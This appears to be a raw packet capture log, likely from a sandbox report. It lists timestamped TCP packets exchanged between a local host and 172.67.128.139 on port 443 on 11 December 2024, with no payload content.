Dec 11, 2024 12:44:35.094409943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.094409943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.094434977 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.094455957 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.094475031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.094475031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.094568968 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.094676018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.130088091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.133466005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.316685915 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.316711903 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.316890001 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.316920996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.316920996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.316941023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.317065001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317229033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317229033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317229033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317373037 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.317518950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317518950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317540884 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.317567110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317615032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317665100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.317734957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.318408012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.318438053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.318541050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.318541050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.318646908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.318666935 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.318691015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.320524931 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.320557117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.320683002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.320699930 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.320712090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.320712090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.320782900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.320782900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.320806026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.322690010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.322715044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.322824001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.322870970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.322870970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.322918892 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.322937965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.323029995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.323133945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.324574947 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.324604034 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.324850082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.324867964 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.324945927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.326478958 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.326510906 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.326656103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.326677084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.326756954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.326778889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.328414917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.328444004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.328586102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.328605890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.328619957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.328619957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.328686953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.328686953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.328738928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.330586910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.330612898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.330755949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.330755949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.330780983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.330780983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.330794096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.330852985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.330853939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.332802057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.332832098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.332972050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.332992077 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.333112955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.334741116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.334767103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.334904909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.334904909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.334927082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.334942102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.334942102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.335006952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.335036993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.336673021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.336705923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.336824894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.336844921 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.336937904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.337045908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338604927 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.338614941 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338633060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.338756084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338756084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338779926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338790894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.338854074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338854074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.338884115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.341358900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.341382027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.341578007 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.341578007 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.341598988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.341614008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.341686964 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.342979908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.343007088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.343137026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.343158007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.343172073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.343172073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.343251944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.343251944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.343275070 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.344860077 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.344891071 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.345062017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.345087051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.345087051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.345099926 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.345160961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.345180035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.347644091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.347672939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.347832918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.347852945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.347873926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.347873926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.347944021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.349540949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.349567890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.349797964 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.349817991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.349832058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.350013971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.351505041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.351531029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.351677895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.351677895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.351702929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.351702929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.351713896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.351772070 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.351836920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.353197098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.353226900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.353457928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.353478909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.353630066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.355808020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.355828047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.355969906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.355969906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.355993032 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.356008053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.356086016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.356086016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.356108904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.357738018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.357767105 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.357911110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.357911110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.357935905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.357935905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.357949018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.358014107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.358014107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.359750986 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.359778881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.359898090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.359918118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.359978914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.359978914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.360001087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.360079050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.361198902 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.361296892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.361429930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.361429930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.361452103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.361464977 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.361541033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.361619949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.362006903 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.362181902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.363332987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.363540888 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.363594055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.363614082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.363746881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.363746881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.401886940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.562150955 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.562181950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.562364101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.562364101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.562391043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.562405109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.562405109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.562599897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.564080954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.564112902 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.564240932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.564240932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.564266920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.564266920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.564280033 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.564416885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.564495087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.566025972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.566056013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.566212893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.566212893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.566241026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.566241026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.566252947 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.566315889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.566457987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.568083048 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.568115950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.568250895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.568250895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.568276882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.568288088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.568360090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.568383932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.568459034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.570135117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.570166111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.570344925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.570370913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.570372105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.570372105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.570385933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.570557117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.572418928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.572454929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.572633028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.572657108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.572657108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.572669983 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.572829962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.574249029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.574281931 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.574471951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.574471951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.574497938 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.574587107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.574745893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.576179028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.576211929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.576378107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.576379061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.576406002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.576406002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.576417923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.576476097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.576579094 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.577136993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.578094006 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.578126907 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.578241110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.578241110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.578283072 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.578300953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.578332901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.578381062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.578480005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.580284119 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.580319881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.580462933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.580507040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.580507040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.580528021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.580559015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.580821037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.582427025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.582462072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.582581997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.582581997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.582674026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.582674026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.582674026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.582691908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.582839012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.584412098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.584445000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.584589005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.584613085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.584613085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.584628105 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.584692955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.584716082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.584815025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.586514950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.586545944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.586689949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.586792946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.586815119 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.586945057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.588217020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.588248014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.588402987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.588402987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.588429928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.588429928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.588443041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.588560104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.588639975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.591087103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.591109991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.591316938 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.591342926 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.591403008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.591526031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.592545033 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.592567921 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.592722893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.592722893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.592766047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.592783928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.592818022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.592818022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.592915058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.594512939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.594535112 CET	443	49757	172.67.128.139	192.168.11.20
